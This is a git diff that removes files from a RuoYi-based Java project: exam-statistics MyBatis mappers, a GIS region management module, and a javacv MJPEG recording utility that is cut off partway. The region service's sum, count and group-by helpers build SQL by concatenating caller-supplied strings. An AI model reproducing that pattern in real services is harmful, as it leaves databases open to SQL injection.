/dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - - - - - - - - select id, paper_id, student_id, course_id, year, semester, score, exam_time, status from exam_student_score - - - - - - - - insert into exam_student_score - - paper_id, - student_id, - course_id, - year, - semester, - score, - exam_time, - status, - - - #{paperId}, - #{studentId}, - #{courseId}, - #{year}, - #{semester}, - #{score}, - #{examTime}, - #{status}, - - - - - update exam_student_score - - paper_id = #{paperId}, - student_id = #{studentId}, - course_id = #{courseId}, - year = #{year}, - semester = #{semester}, - score = #{score}, - exam_time = #{examTime}, - status = #{status}, - - where id = #{id} - - - - delete from exam_student_score where id = #{id} - - - - delete from exam_student_score where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/StatsExamAccuracyMapper.xml b/luqj-exam/src/main/resources/mapper/exam/StatsExamAccuracyMapper.xml deleted file mode 100644 index 81c314d..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/StatsExamAccuracyMapper.xml +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - - - - - - - - - - - select id, user_id, right_count, do_count, create_time, update_time, status from stats_exam_accuracy - - - - - - - - insert into stats_exam_accuracy - - user_id, - right_count, - do_count, - create_time, - update_time, - status, - - - #{userId}, - #{rightCount}, - #{doCount}, - #{createTime}, - #{updateTime}, - #{status}, - - - - - update stats_exam_accuracy - - user_id = #{userId}, - right_count = #{rightCount}, - do_count = #{doCount}, - create_time = #{createTime}, - update_time = #{updateTime}, - status = #{status}, - - where id = #{id} - - - - delete from stats_exam_accuracy where id = #{id} - - - - delete from stats_exam_accuracy where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/StatsExamQuestionAccuracyMapper.xml b/luqj-exam/src/main/resources/mapper/exam/StatsExamQuestionAccuracyMapper.xml deleted file mode 100644 index b7df499..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/StatsExamQuestionAccuracyMapper.xml +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - - - - - - - - - - - select id, question_id, right_count, do_count, create_time, update_time, status from stats_exam_question_accuracy - - - - - - - - insert into stats_exam_question_accuracy - - question_id, - right_count, - do_count, - create_time, - update_time, - status, - - - #{questionId}, - #{rightCount}, - #{doCount}, - #{createTime}, - #{updateTime}, - #{status}, - - - - - update stats_exam_question_accuracy - - question_id = #{questionId}, - right_count = #{rightCount}, - do_count = #{doCount}, - create_time = #{createTime}, - update_time = #{updateTime}, - status = #{status}, - - where id = #{id} - - - - delete from stats_exam_question_accuracy where id = #{id} - - - - delete from stats_exam_question_accuracy where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/StatsExamWeekAccuracyMapper.xml b/luqj-exam/src/main/resources/mapper/exam/StatsExamWeekAccuracyMapper.xml deleted file mode 100644 index d03ef98..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/StatsExamWeekAccuracyMapper.xml +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - - - - - - - - select id, user_id, start_time, end_time, right_count, do_count, create_time, update_time, status from stats_exam_week_accuracy - - - - - - - - insert into stats_exam_week_accuracy - - user_id, - start_time, - end_time, - right_count, - do_count, - create_time, - update_time, - status, - - - #{userId}, - #{startTime}, - #{endTime}, - #{rightCount}, - #{doCount}, - #{createTime}, - #{updateTime}, - #{status}, - - - - - update stats_exam_week_accuracy - - user_id = #{userId}, - start_time = #{startTime}, - end_time = #{endTime}, - right_count = #{rightCount}, - do_count = #{doCount}, - create_time = #{createTime}, - update_time = #{updateTime}, - status = #{status}, - - where id = #{id} - - - - delete from stats_exam_week_accuracy where id = #{id} - - - - delete from stats_exam_week_accuracy where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-gis/pom.xml b/luqj-gis/pom.xml deleted file mode 100644 index a6f3d4d..0000000 --- a/luqj-gis/pom.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - ruoyi - com.ruoyi - 3.4.0 - - 4.0.0 - - luqj-gis - - - - com.ruoyi - ruoyi-common - - - com.baomidou - mybatis-plus-extension - 3.4.0 - - - \ No newline at end of file diff --git a/luqj-gis/src/main/java/com/luqj/gis/controller/GisRegionController.java b/luqj-gis/src/main/java/com/luqj/gis/controller/GisRegionController.java deleted file mode 100644 index 5f84467..0000000 --- a/luqj-gis/src/main/java/com/luqj/gis/controller/GisRegionController.java +++ /dev/null @@ -1,108 +0,0 @@ -package com.luqj.gis.controller; - -import java.util.Arrays; -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.*; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.gis.domain.GisRegion; -import com.luqj.gis.service.IGisRegionService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 区域Controller - * - * @author luqj - * @date 2021-07-24 - */ -@RestController -@RequestMapping("/gis/region") -public class GisRegionController extends BaseController -{ - @Autowired - private IGisRegionService gisRegionService; - - /** - * 查询区域列表 - */ - @PreAuthorize("@ss.hasPermi('gis:region:list')") - @GetMapping("/list") - public TableDataInfo list(GisRegion gisRegion) - { - startPage(); - List list = gisRegionService.selectGisRegionList(gisRegion); - return getDataTable(list); - } - - /** - * 导出区域列表 - */ - @PreAuthorize("@ss.hasPermi('gis:region:export')") - @Log(title = "区域", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(GisRegion gisRegion) - { - List list = gisRegionService.selectGisRegionList(gisRegion); - ExcelUtil util = new ExcelUtil(GisRegion.class); - return util.exportExcel(list, "region"); - } - - /** - * 获取区域详细信息 - */ - @PreAuthorize("@ss.hasPermi('gis:region:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(gisRegionService.selectGisRegionById(id)); - } - @GetMapping("/treeselect") - public AjaxResult treeselect(GisRegion gisRegion) - { - List depts = gisRegionService.selectGisRegionList(gisRegion); - return AjaxResult.success(gisRegionService.buildGisTreeSelect(depts)); - } - @GetMapping("/select-by-types") - public AjaxResult selectByTypes(@RequestParam() List types) - { - List gisRegions = gisRegionService.selectUserByTypes(types); - return AjaxResult.success(gisRegionService.buildGisTreeSelectNoRoot(gisRegions)); - } - /** - * 新增区域 - */ - @PreAuthorize("@ss.hasPermi('gis:region:add')") - @Log(title = "区域", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody GisRegion gisRegion) - { - return toAjax(gisRegionService.insertGisRegion(gisRegion)); - } - - /** - * 修改区域 - */ - @PreAuthorize("@ss.hasPermi('gis:region:edit')") - @Log(title = "区域", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody GisRegion gisRegion) - { - return toAjax(gisRegionService.updateGisRegion(gisRegion)); - } - - /** - * 删除区域 - */ - @PreAuthorize("@ss.hasPermi('gis:region:remove')") - @Log(title = "区域", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(gisRegionService.deleteGisRegionByIds(ids)); - } -} diff --git a/luqj-gis/src/main/java/com/luqj/gis/domain/GisRegion.java b/luqj-gis/src/main/java/com/luqj/gis/domain/GisRegion.java deleted file mode 100644 index 3b1b139..0000000 --- a/luqj-gis/src/main/java/com/luqj/gis/domain/GisRegion.java +++ /dev/null @@ -1,247 +0,0 @@ -package com.luqj.gis.domain; - -import java.math.BigDecimal; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.ArrayList; -import java.util.List; - -/** - * 区域对象 gis_region - * - * @author luqj - * @date 2021-07-24 - */ -public class GisRegion extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** ID */ - private Long id; - - /** 区域名称 */ - @Excel(name = "区域名称") - private String name; - - /** 父节点Id */ - @Excel(name = "父节点Id") - private Long parentId; - - /** 短名称 */ - @Excel(name = "短名称") - private String shortName; - - /** 区域类型:0国家,1省份,2市,3县区 */ - @Excel(name = "区域类型:0国家,1省份,2市,3县区") - private Integer type; - - /** 区号 */ - @Excel(name = "区号") - private String cityCode; - - /** 邮编 */ - @Excel(name = "邮编") - private String zipCode; - - /** 合并名称 */ - @Excel(name = "合并名称") - private String mergerName; - - /** 经度 */ - @Excel(name = "经度") - private BigDecimal longitude; - - /** 纬度 */ - @Excel(name = "纬度") - private BigDecimal latitude; - - /** 区域编码 */ - @Excel(name = "区域编码") - private String code; - - /** 0 开通 1未开通 */ - @Excel(name = "0 开通 1未开通") - private Integer isOpen; - - /** 大区:如华南 */ - @Excel(name = "大区:如华南") - private String bigArea; - - /** 是否默认区:1-是,0否 */ - @Excel(name = "是否默认区:1-是,0否") - private Integer isDefault; - - /** 城市编码 */ - @Excel(name = "城市编码") - private Long adCode; - - private List children = new ArrayList();; - - public List getChildren() { - return children; - } - - public void setChildren(List children) { - this.children = children; - } - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setParentId(Long parentId) - { - this.parentId = parentId; - } - - public Long getParentId() - { - return parentId; - } - public void setShortName(String shortName) - { - this.shortName = shortName; - } - - public String getShortName() - { - return shortName; - } - public void setType(Integer type) - { - this.type = type; - } - - public Integer getType() - { - return type; - } - public void setCityCode(String cityCode) - { - this.cityCode = cityCode; - } - - public String getCityCode() - { - return cityCode; - } - public void setZipCode(String zipCode) - { - this.zipCode = zipCode; - } - - public String getZipCode() - { - return zipCode; - } - public void setMergerName(String mergerName) - { - this.mergerName = mergerName; - } - - public String getMergerName() - { - return mergerName; - } - public void setLongitude(BigDecimal longitude) - { - this.longitude = longitude; - } - - public BigDecimal getLongitude() - { - return longitude; - } - public void setLatitude(BigDecimal latitude) - { - this.latitude = latitude; - } - - public BigDecimal getLatitude() - { - return latitude; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setIsOpen(Integer isOpen) - { - this.isOpen = isOpen; - } - - public Integer getIsOpen() - { - return isOpen; - } - public void setBigArea(String bigArea) - { - this.bigArea = bigArea; - } - - public String getBigArea() - { - return bigArea; - } - public void setIsDefault(Integer isDefault) - { - this.isDefault = isDefault; - } - - public Integer getIsDefault() - { - return isDefault; - } - public void setAdCode(Long adCode) - { - this.adCode = adCode; - } - - public Long getAdCode() - { - return adCode; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("parentId", getParentId()) - .append("shortName", getShortName()) - .append("type", getType()) - .append("cityCode", getCityCode()) - .append("zipCode", getZipCode()) - .append("mergerName", getMergerName()) - .append("longitude", getLongitude()) - .append("latitude", getLatitude()) - .append("code", getCode()) - .append("isOpen", getIsOpen()) - .append("bigArea", getBigArea()) - .append("isDefault", getIsDefault()) - .append("adCode", getAdCode()) - .toString(); - } -} diff --git a/luqj-gis/src/main/java/com/luqj/gis/domain/GisRegionPlus.java b/luqj-gis/src/main/java/com/luqj/gis/domain/GisRegionPlus.java deleted file mode 100644 index 7d08f71..0000000 --- a/luqj-gis/src/main/java/com/luqj/gis/domain/GisRegionPlus.java +++ /dev/null @@ -1,223 +0,0 @@ -package com.luqj.gis.domain; - -import java.math.BigDecimal; - -import com.baomidou.mybatisplus.annotation.TableName; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 区域对象 gis_region - * - * @author luqj - * @date 2021-07-24 - */ -@TableName(value = "gis_region") -public class GisRegionPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** ID */ - private Long id; - /** 区域名称 */ - @Excel(name = "区域名称") - private String name; - /** 父节点Id */ - @Excel(name = "父节点Id") - private Long parentId; - /** 短名称 */ - @Excel(name = "短名称") - private String shortName; - /** 区域类型:0国家,1省份,2市,3县区 */ - @Excel(name = "区域类型:0国家,1省份,2市,3县区") - private Integer type; - /** 区号 */ - @Excel(name = "区号") - private String cityCode; - /** 邮编 */ - @Excel(name = "邮编") - private String zipCode; - /** 合并名称 */ - @Excel(name = "合并名称") - private String mergerName; - /** 经度 */ - @Excel(name = "经度") - private BigDecimal longitude; - /** 纬度 */ - @Excel(name = "纬度") - private BigDecimal latitude; - /** 区域编码 */ - @Excel(name = "区域编码") - private String code; - /** 0 开通 1未开通 */ - @Excel(name = "0 开通 1未开通") - private Integer isOpen; - /** 大区:如华南 */ - @Excel(name = "大区:如华南") - private String bigArea; - /** 是否默认区:1-是,0否 */ - @Excel(name = "是否默认区:1-是,0否") - private Integer isDefault; - /** 城市编码 */ - @Excel(name = "城市编码") - private Long adCode; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setParentId(Long parentId) - { - this.parentId = parentId; - } - - public Long getParentId() - { - return parentId; - } - public void setShortName(String shortName) - { - this.shortName = shortName; - } - - public String getShortName() - { - return shortName; - } - public void setType(Integer type) - { - this.type = type; - } - - public Integer getType() - { - return type; - } - public void setCityCode(String cityCode) - { - this.cityCode = cityCode; - } - - public String getCityCode() - { - return cityCode; - } - public void setZipCode(String zipCode) - { - this.zipCode = zipCode; - } - - public String getZipCode() - { - return zipCode; - } - public void setMergerName(String mergerName) - { - this.mergerName = mergerName; - } - - public String getMergerName() - { - return mergerName; - } - public void setLongitude(BigDecimal longitude) - { - this.longitude = longitude; - } - - public BigDecimal getLongitude() - { - return longitude; - } - public void setLatitude(BigDecimal latitude) - { - this.latitude = latitude; - } - - public BigDecimal getLatitude() - { - return latitude; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setIsOpen(Integer isOpen) - { - this.isOpen = isOpen; - } - - public Integer getIsOpen() - { - return isOpen; - } - public void setBigArea(String bigArea) - { - this.bigArea = bigArea; - } - - public String getBigArea() - { - return bigArea; - } - public void setIsDefault(Integer isDefault) - { - this.isDefault = isDefault; - } - - public Integer getIsDefault() - { - return isDefault; - } - public void setAdCode(Long adCode) - { - this.adCode = adCode; - } - - public Long getAdCode() - { - return adCode; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("parentId", getParentId()) - .append("shortName", getShortName()) - .append("type", getType()) - .append("cityCode", getCityCode()) - .append("zipCode", getZipCode()) - .append("mergerName", getMergerName()) - .append("longitude", getLongitude()) - .append("latitude", getLatitude()) - .append("code", getCode()) - .append("isOpen", getIsOpen()) - .append("bigArea", getBigArea()) - .append("isDefault", getIsDefault()) - .append("adCode", getAdCode()) - .toString(); - } -} diff --git a/luqj-gis/src/main/java/com/luqj/gis/domain/GisTreeSelect.java b/luqj-gis/src/main/java/com/luqj/gis/domain/GisTreeSelect.java deleted file mode 100644 index ce39cc7..0000000 --- a/luqj-gis/src/main/java/com/luqj/gis/domain/GisTreeSelect.java +++ /dev/null @@ -1,24 +0,0 @@ -package com.luqj.gis.domain; - -import com.ruoyi.common.core.domain.TreeSelect; - -import java.util.stream.Collectors; - -public class GisTreeSelect extends TreeSelect { - private Long value; - public GisTreeSelect(GisRegion gisRegion) - { - this.id = gisRegion.getId(); - this.value = gisRegion.getId(); - this.label = gisRegion.getName(); - this.children = gisRegion.getChildren().stream().map(GisTreeSelect::new).collect(Collectors.toList()); - } - - public Long getValue() { - return value; - } - - public void setValue(Long value) { - this.value = value; - } -} diff --git a/luqj-gis/src/main/java/com/luqj/gis/mapper/GisRegionMapper.java b/luqj-gis/src/main/java/com/luqj/gis/mapper/GisRegionMapper.java deleted file mode 100644 index 7282bbf..0000000 --- a/luqj-gis/src/main/java/com/luqj/gis/mapper/GisRegionMapper.java +++ /dev/null @@ -1,66 +0,0 @@ -package com.luqj.gis.mapper; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import com.luqj.gis.domain.GisRegion; -import com.luqj.gis.domain.GisRegionPlus; -import org.apache.ibatis.annotations.Param; - -import java.util.List; - -/** - * 区域Mapper接口 - * - * @author luqj - * @date 2021-07-24 - */ -public interface GisRegionMapper extends BaseMapper { - /** - * 查询区域 - * - * @param id 区域ID - * @return 区域 - */ - public GisRegion selectGisRegionById(Long id); - - /** - * 查询区域列表 - * - * @param gisRegion 区域 - * @return 区域集合 - */ - public List selectGisRegionList(GisRegion gisRegion); - - /** - * 新增区域 - * - * @param gisRegion 区域 - * @return 结果 - */ - public int insertGisRegion(GisRegion gisRegion); - - /** - * 修改区域 - * - * @param gisRegion 区域 - * @return 结果 - */ - public int updateGisRegion(GisRegion gisRegion); - - /** - * 删除区域 - * - * @param id 区域ID - * @return 结果 - */ - public int deleteGisRegionById(Long id); - - /** - * 批量删除区域 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteGisRegionByIds(Long[] ids); - - List selectUserByTypes(@Param("types") List types); -} diff --git a/luqj-gis/src/main/java/com/luqj/gis/service/IGisRegionService.java b/luqj-gis/src/main/java/com/luqj/gis/service/IGisRegionService.java deleted file mode 100644 index 2eeb5f2..0000000 --- a/luqj-gis/src/main/java/com/luqj/gis/service/IGisRegionService.java +++ /dev/null @@ -1,93 +0,0 @@ -package com.luqj.gis.service; -import java.util.Map; -import java.util.List; -import com.luqj.gis.domain.GisRegion; -import com.luqj.gis.domain.GisRegionPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.luqj.gis.domain.GisTreeSelect; - -/** - * 区域Service接口 - * - * @author luqj - * @date 2021-07-24 - */ -public interface IGisRegionService extends IService -{ - /** - * 查询区域 - * - * @param id 区域ID - * @return 区域 - */ - public GisRegion selectGisRegionById(Long id); - - /** - * 查询区域列表 - * - * @param gisRegion 区域 - * @return 区域集合 - */ - public List selectGisRegionList(GisRegion gisRegion); - - List buildGisTreeSelect(List gisRegions); - - List buildGisTreeSelectNoRoot(List gisRegions); - - List selectUserByTypes(List types); - /** - * 新增区域 - * - * @param gisRegion 区域 - * @return 结果 - */ - public int insertGisRegion(GisRegion gisRegion); - - /** - * 修改区域 - * - * @param gisRegion 区域 - * @return 结果 - */ - public int updateGisRegion(GisRegion gisRegion); - - /** - * 批量删除区域 - * - * @param ids 需要删除的区域ID - * @return 结果 - */ - public int deleteGisRegionByIds(Long[] ids); - - /** - * 删除区域信息 - * - * @param id 区域ID - * @return 结果 - */ - public int deleteGisRegionById(Long id); - - List getByIds(List ids, SFunction... columns); - - GisRegionPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-gis/src/main/java/com/luqj/gis/service/impl/GisRegionServiceImpl.java b/luqj-gis/src/main/java/com/luqj/gis/service/impl/GisRegionServiceImpl.java deleted file mode 100644 index 47a3b7a..0000000 --- a/luqj-gis/src/main/java/com/luqj/gis/service/impl/GisRegionServiceImpl.java +++ /dev/null @@ -1,284 +0,0 @@ -package com.luqj.gis.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.*; - -import com.luqj.gis.domain.GisTreeSelect; -import com.ruoyi.common.core.domain.TreeSelect; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; - -import java.util.stream.Collectors; - -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.gis.mapper.GisRegionMapper; -import com.luqj.gis.domain.GisRegion; -import com.luqj.gis.domain.GisRegionPlus; -import com.luqj.gis.service.IGisRegionService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 区域Service业务层处理 - * - * @author luqj - * @date 2021-07-24 - */ -@Service -public class GisRegionServiceImpl extends ServiceImpl implements IGisRegionService -{ - @Autowired - private GisRegionMapper gisRegionMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(GisRegionPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public GisRegionPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(GisRegionPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (GisRegionPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (GisRegionPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(GisRegionPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from gis_region "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" gis_region "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" gis_region "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询区域 - * - * @param id 区域ID - * @return 区域 - */ - @Override - public GisRegion selectGisRegionById(Long id) - { - return gisRegionMapper.selectGisRegionById(id); - } - - /** - * 查询区域列表 - * - * @param gisRegion 区域 - * @return 区域 - */ - @Override - public List selectGisRegionList(GisRegion gisRegion) - { - return gisRegionMapper.selectGisRegionList(gisRegion); - } - - public List selectUserByTypes(List types) - { - return gisRegionMapper.selectUserByTypes(types); - } - public List buildGisTreeSelect(List gisRegions) - { - List deptTrees = buildGisTree(gisRegions); - GisRegion com =new GisRegion(); - com.setId(0L); - com.setName("根目录"); - com.setChildren(deptTrees); - List pc = new ArrayList<>(); - for(GisRegion c:deptTrees){ - if(c.getParentId() == 0L){ - pc.add(c); - } - } - com.setChildren(pc); - return Arrays.asList(com).stream().map(GisTreeSelect::new).collect(Collectors.toList()); - } - - public List buildGisTreeSelectNoRoot(List gisRegions) - { - List deptTrees = buildGisTree(gisRegions); - return deptTrees.stream().map(GisTreeSelect::new).collect(Collectors.toList()); - } - /** - * 递归列表 - */ - private void recursionFn(List list, GisRegion t) - { - // 得到子节点列表 - List childList = getChildList(list, t); - t.setChildren(childList); - for (GisRegion tChild : childList) - { - if (hasChild(list, tChild)) - { - recursionFn(list, tChild); - } - } - } - /** - * 得到子节点列表 - */ - private List getChildList(List list, GisRegion t) - { - List tlist = new ArrayList(); - Iterator it = list.iterator(); - while (it.hasNext()) - { - GisRegion n = (GisRegion) it.next(); - if (StringUtils.isNotNull(n.getParentId()) && n.getParentId().longValue() == t.getId().longValue()) - { - tlist.add(n); - } - } - return tlist; - } - - /** - * 判断是否有子节点 - */ - private boolean hasChild(List list, GisRegion t) - { - return getChildList(list, t).size() > 0 ? true : false; - } - public List buildGisTree(List depts) - { - List returnList = new ArrayList(); - List tempList = new ArrayList(); - for (GisRegion dept : depts) - { - tempList.add(dept.getId()); - } - for (Iterator iterator = depts.iterator(); iterator.hasNext();) - { - GisRegion dept = (GisRegion) iterator.next(); - // 如果是顶级节点, 遍历该父节点的所有子节点 - if (!tempList.contains(dept.getParentId())) - { - recursionFn(depts, dept); - returnList.add(dept); - } - } - if (returnList.isEmpty()) - { - returnList = depts; - } - return returnList; - } - /** - * 新增区域 - * - * @param gisRegion 区域 - * @return 结果 - */ - @Override - public int insertGisRegion(GisRegion gisRegion) - { - return gisRegionMapper.insertGisRegion(gisRegion); - } - - /** - * 修改区域 - * - * @param gisRegion 区域 - * @return 结果 - */ - @Override - public int updateGisRegion(GisRegion gisRegion) - { - return gisRegionMapper.updateGisRegion(gisRegion); - } - - /** - * 批量删除区域 - * - * @param ids 需要删除的区域ID - * @return 结果 - */ - @Override - public int deleteGisRegionByIds(Long[] ids) - { - return gisRegionMapper.deleteGisRegionByIds(ids); - } - - /** - * 删除区域信息 - * - * @param id 区域ID - * @return 结果 - */ - @Override - public int deleteGisRegionById(Long id) - { - return gisRegionMapper.deleteGisRegionById(id); - } -} diff --git a/luqj-gis/src/main/resources/mapper/gis/GisRegionMapper.xml b/luqj-gis/src/main/resources/mapper/gis/GisRegionMapper.xml deleted file mode 100644 index ef5d395..0000000 --- a/luqj-gis/src/main/resources/mapper/gis/GisRegionMapper.xml +++ /dev/null @@ -1,126 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - select ID, NAME, PARENT_ID, SHORT_NAME, TYPE, CITY_CODE, ZIP_CODE, MERGER_NAME, LONGITUDE, LATITUDE, CODE, IS_OPEN, BIG_AREA, IS_DEFAULT, ad_code from gis_region - - - - - - - - insert into gis_region - - NAME, - PARENT_ID, - SHORT_NAME, - TYPE, - CITY_CODE, - ZIP_CODE, - MERGER_NAME, - LONGITUDE, - LATITUDE, - CODE, - IS_OPEN, - BIG_AREA, - IS_DEFAULT, - ad_code, - - - #{name}, - #{parentId}, - #{shortName}, - #{type}, - #{cityCode}, - #{zipCode}, - #{mergerName}, - #{longitude}, - #{latitude}, - #{code}, - #{isOpen}, - #{bigArea}, - #{isDefault}, - #{adCode}, - - - - - update gis_region - - NAME = #{name}, - PARENT_ID = #{parentId}, - SHORT_NAME = #{shortName}, - TYPE = #{type}, - CITY_CODE = #{cityCode}, - ZIP_CODE = #{zipCode}, - MERGER_NAME = #{mergerName}, - LONGITUDE = #{longitude}, - LATITUDE = #{latitude}, - CODE = #{code}, - IS_OPEN = #{isOpen}, - BIG_AREA = #{bigArea}, - IS_DEFAULT = #{isDefault}, - ad_code = #{adCode}, - - where ID = #{id} - - - - delete from gis_region where ID = #{id} - - - - delete from gis_region where ID in - - #{id} - - - \ No newline at end of file diff --git a/luqj-javacv/pom.xml b/luqj-javacv/pom.xml deleted file mode 100644 index 068a809..0000000 --- a/luqj-javacv/pom.xml +++ /dev/null @@ -1,43 +0,0 @@ - - 4.0.0 - - ruoyi - com.ruoyi - 3.4.0 - - - luqj-javacv - jar - - luqj-javacv - http://maven.apache.org - - - UTF-8 - - - - - org.jcodec - jcodec-javase - 0.2.5 - - - org.jcodec - jcodec - 0.2.5 - - - - org.java-websocket - Java-WebSocket - 1.5.3 - - - org.bytedeco - javacv-platform - 1.5.11 - - - diff --git a/luqj-javacv/src/main/java/com/luqj/javacv/utils/MjpegUtil.java b/luqj-javacv/src/main/java/com/luqj/javacv/utils/MjpegUtil.java deleted file mode 100644 index 9921065..0000000 --- a/luqj-javacv/src/main/java/com/luqj/javacv/utils/MjpegUtil.java +++ /dev/null @@ -1,260 +0,0 @@ -package com.luqj.javacv.utils; - -import org.bytedeco.ffmpeg.global.avcodec; -import org.bytedeco.javacv.FFmpegFrameGrabber; -import org.bytedeco.javacv.FFmpegFrameRecorder; -import org.bytedeco.javacv.Frame; -import org.bytedeco.javacv.Java2DFrameConverter; - -import javax.imageio.ImageIO; -import java.awt.image.BufferedImage; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.File; -import java.io.InputStream; -import java.net.HttpURLConnection; -import java.net.URL; -import java.util.UUID; -import java.util.concurrent.atomic.AtomicReference; - -public class MjpegUtil { - - private static final int DEFAULT_TIMEOUT_MS = 10000; - - public String snapshop(String basePath) throws Exception { - return ""; - } - - public static void ffmpegRecord(String mjpegUrl, String outputFile, int seconds) throws Exception { - ffmpegRecord(mjpegUrl, outputFile, seconds, DEFAULT_TIMEOUT_MS); - } - - public static void ffmpegRecord(String mjpegUrl, String outputFile, int seconds, int timeoutMs) throws Exception { - AtomicReference error = new AtomicReference<>(); - Thread thread = new Thread(() -> { - FFmpegFrameGrabber grabber = null; - FFmpegFrameRecorder recorder = null; - Frame frame = null; - try { - grabber = new FFmpegFrameGrabber(mjpegUrl); - grabber.start(); - - int width = grabber.getImageWidth(); - int height = grabber.getImageHeight(); - - recorder = new 